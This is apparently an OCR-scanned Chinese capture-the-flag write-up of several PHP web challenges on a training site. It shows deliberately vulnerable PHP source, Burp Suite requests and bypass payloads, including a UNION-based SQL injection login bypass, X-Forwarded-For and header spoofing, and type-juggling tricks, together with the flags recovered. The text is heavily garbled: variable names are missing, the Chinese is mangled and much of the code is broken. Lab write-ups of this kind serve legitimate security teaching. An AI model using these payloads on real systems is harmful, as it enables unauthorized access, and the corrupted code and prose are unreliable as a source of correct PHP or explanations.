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[ "password'];

unserialize(

if ( ["user']

print_r( );
1
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array("user" true, "pass" true);
echo var_dump( )
echo var_dump(serialize( ))s

WATR 2

array(2) {
["user"]
bool(true)
["pass”]
bool(true)

}
string(36) "a:2:{s:4:"user";b:1;s:4:"pass";b:1;}"

i Fl Google Chromei % 23 # #F HackBar#Ji& il F4£%: password: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}, 1§
Flflag: ctf{dwduwkhduw5465}
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LOAD URL SPLIT URL EXECUTE URL SQLl XSS LFI ENCODING HASHING

http://ctf5.shiyanbar.com/10/web1/

ENClype

Enable POST application/x-www-form-urlencoded - ADD HEADER

Body
password=a:2:{s:4:"user";b:1;s5:4:"pass"h:1;}

SieENT
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Check

View the source code

BE M IR

if (isset ( ["password'])) {
if (ereg ("~[a-zA-Z0-9]+%", [ "password']) FALSE)

f
1

echo '<p>You password must be alphanumeric</p>";

1
J

else if (strlen( [ "password']) 8 [ "password’] 9999999)

{
if (strpos ( ["password'], "*-*") FALSE)

{

die('Flag: ' . );
!
J

else

{
echo('<p>*-* have not been found</p>');
}
}

else
{
echo '<p>Invalid password</p>';
}
}
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View the source code

session_start();
if (isset ( ["password'])) {
if ( [ "password'] [ *password’])
die ('Flag: ' . );
else
print ‘<p>Wrong guess.</p>";

}

mt_srand((microtime() rand(1, 10000)) rand(1, 10000) rand(1, 10000));
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/ Request to http://ctf5.shiyanbar.com:80 [106.2.25.10]

Forward Drop Intercept is on Action

[Raw.. Params Headers Hex
GET /web/Session.php?password=7722573 HTTP/1.1
Host: ctfS5.shiyanbar.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/*;q=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW;q=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://ctf5.shiyanbar.com/web/Session.php
Cookie: PHPSESSID=ormdocffilhtilg4994nmidmn2
Uparade-Insecure-Reduests: 1

Send to Repeater)s, % & password FlCookief){EHE =

Send Cancel  <|v >|v Target: http://ctf5.shiyanbar.com /@

Request Response

[Raw.. Headers Hex HTML Render

HTTP/1.1 200 OK
Server: nginx/1.10.2

[Raw.l Params Headers Hex
GET /web/Session.php?password= HTTP/1.1
Host: ctf5.shiyanbar.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X Date: Wed, 21 Aug 2019 22:22:26 GMT
10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Content-Type: text/html
Accept: Connection: close

text/html,application/xhtml+xml,application/xml;g=0.9
*/*;9=0.8

Accept-Language:
zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en
;g=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://ctf5.shiyanbar.com/web/Session.php
Cookie:

Upgrade-Insecure-Requests: 1

X-Powered-By: PHP/5.5.38

Set-Cookie: PHPSESSID=711m0j6f2it90ida38enki7f13;
path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache,
must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 112

<html>
<head>
<title>Guess Next Session</title>
</head>
<body><br/>
<center>
Flag: CTF{Cl3ar_th3_S3sslon}

RizFIER)E, £Responsef&2#|flag: CTF{Cl3ar_th3_S3ssion}
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Login first!

Login

View the source code

["'name']) and isset( ['password'])) {
[ "name’ ] [ "password'])
echo '<p>Your password can not be your name!</p>';
else if (shal( ["name"]) shal( ['password']))
die('Flag: '. );
else

echo '<p>Invalid password.</p>';

1
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else{

echo '<p>Login first!</p>';
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function encode( ){
strrev( );

for( 9; strlen( ); ){
substr_count( , 1);
ord( )+1;
chr($_);

}
return str_rotl3(strrev(base64_encode($ )));

}

WRAE I AR, 5 AR R AR:

'alzLbgQsCESEIRLWUQAYMwLYq2L5VwBXxqGA3RQAyumZOtmMvSGM2ZwB4tws ' ;
base64 _decode(strrev(str_rotl3( )))s
strrev( )5
0; strlen( ); )
substr( 5 ,1);
ord( )-1;
chr( )
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, 1B%Iflag: flag:{NSCTF_b73d5adfb819c64603d7237fa8d52977}

welcome to simplexue
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html

EETe)

welcome to simplexue
head

body

if( [user] [pass]) {
mysql_connect ("¥xxdkEkAx o " ")
mysql_select_db("phpformysql") or die("Could not select database");
if ( connect_error) {

die("Connection failed: . mysql_error( ))s
[user];
md5 ( [pass]);
= "select pw from php where user='$user'";
= mysql_query( )
if (! ) {
printf("Error: %s\n", mysql_error( ))s
exit();
¥
= mysql_fetch_array( , MYSQL_ASSOC);
//echo ["pw"];
if (( [pw]) && (!strcasecmp( [pw]))) {
echo "

}

else {

p>Logged in! Key: p>";

echo("<p>Log in failure!</p>");

¥

}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt"

html
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enctype
Enable POST application/x-www-form-urlencoded - ADD HEADER
Body

user=1"and 1=2 union select concat('c4ca4238a0b923820dcc509a6f75849b")%23 &pass=1
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AL S E7R: **Can you authenticate to this website? index.php.txt **, }j[d index.php.txt 5 EJEY:

if(eregi("hackerDl", [id])) {
echo("<p>not allowed!</p>");
exit();

1
J

[id] urldecode( [id]);
if( [id] "hackerDJ")

{

echo "<p>Access granted!</p>";
eChO "<p>f1ag: *****************} </p>";

1
J

br><br
Can you authenticate to this website

SHARTE: BICGETHARNENTE id FIME, “eregi()'MEER R id PHEEFRFE hackerd , ILECHKINNGE Y, KAENK id 2B
BERE#TURLENY, MEEKESET hackerpd , N itflag
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T THIXURLE ™) , 183Iflag: DUTCTF{PHP_is_the_best_program_language}
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Tips View the source code

PHP{LES T

fHix! FRIPERIFFIRZA!

View the source code

function GetIP(){

if(!lempty( ["HTTP_CLIENT_IP"]))
["HTTP_CLIENT IP"];

else if(!empty( ["HTTP_X_FORWARDED_FOR"]))
["HTTP_X_FORWARDED_FOR"];

else if(!empty( ["REMOTE_ADDR"1]))
["REMOTE_ADDR"];

else
"0.0.0.0";
return 8

GetIP();
"1.1.1.1"){

"Great! Key is ¥¥¥kkkkkkn,

"HHR | ARIIPAETT RSIRZ AL "



http://ctf5.shiyanbar.com/phpaudit/

13 Fi Burp Suite M ¥ 35 .«

@ Request to http://ctfs_shiyanbar.com:80 [106.2.25.10]

l Forward J l Drop J [ Intercept is on ] Action
J Raw T Headers I Hex 1

GET /phpaudit/ HTTPE/Ll.L

Cache-Control: max-age=0

Accept: text/html,application/xhtml4xml, application/xml;cq=0.9,*/*;¢q=0.8
Accept-Language: zh-CH

Upgrade—-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x£4) AppleWebEit/537.3& (EHTML, like Gecko)
Safari/537.36 Edges/18.177&3

Host: ctfS.shivanbar.com
Connection: close

IIHTTPL 4 : X-FORWARDED-FOR: 1.1.1.1, KRiE¥IEHR, BFkey: SimCTF{daima_shengji}

Tips View the source code

PHP{XEBELT

Chrome/£4.0.3282. 140

Great! Key is SIimCTF{daima_shengji}

View the source code

KARK



rE: 10

MERE: M
RABRX2AZT, BRAREERT .
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Tips  http header

Forbidden

You don't have permission to access / on this server.
Please make sure you have installed .net framework 9.9!

Make sure you are in the region of England and browsing this site with Internet Explorer

T V5 19 7E SR 55 38 AR

EHRE %35 NET Framework 9.9!

MRS EETERE 2 X, 354 A Internet Exploreryil ¥ i i 3k
R AHTTPL, f#FBurp Suite Uz .-

@ Request to http://ctfs.shiyanbar.com:80 [106.2.25.10]

l Forward J l Drop J { Intercept is on 1 Action Comment this item

| Raw [ Headers | Hex |

GET /sHeader/ HTTP/L1l.1

Cache-Contraol: max-adge=0

Aocept: text/html,application/xhtml+xml, application/xml;g=0.9,*/*;¢=0.8

Lecept-Language: zh-CH

Upgrade-Insecure-Fequests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4:; x&4) AppleWebKit/537.3¢€ (KHTHML, like Gecko) Chrome/64.0.3282. 140
Safari/537.36 Edges/18.17763

Host: ctfS5.shivanbar.com

Connection: close

@
[=/]
@

'.|
L)

¥ User-Agent 1BN Internet Explorer/5.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1;
.NET CLR 9.9) , ¥ Accept-Language BN en-gb , RiXHIEM, BFkey: HTTpH34der

Tips  http header

Forbidden

You don't have permission to access / on this server.

The key is:HTTpH34der

MAR: BERBERERRE
HEEREBRASEALE


http://ctf5.shiyanbar.com/sHeader/
https://blog.csdn.net/u014549283/article/details/81742104

BIE R

SME: 10
M. A

A RE

Input your pass key: ity

FHEMAT R key 18, & Acatch, {EHBurp Suiteylii##E4, Send to Repeaters, ki%#iEf, 7fEResponse 5%
#78: Content-Row: MTU2NjQyMTk3NQ==
HEEREHIEL, KI content-Row KIMELER %2R, FHPythonii4k, BARMEWT:

import requests

url ‘http://ctf5.shiyanbar.com//basic/catch/"
r = requests.get(url)
temp = r.headers['Content-Row'] # ZKAZHMNLIEHE

data = {'pass_key': temp}
result requests.post(url, data=data)
print(result.text)

BITHA, 83flag: #WWWnsfOcus_NET#

BRRAE S

sHE: 50
MR A
U, RBAKEFEBRIX2RT, XEBRAAEHF! ! !
iRt O e


http://ctf5.shiyanbar.com/basic/catch/
http://ctf5.shiyanbar.com/basic/inject
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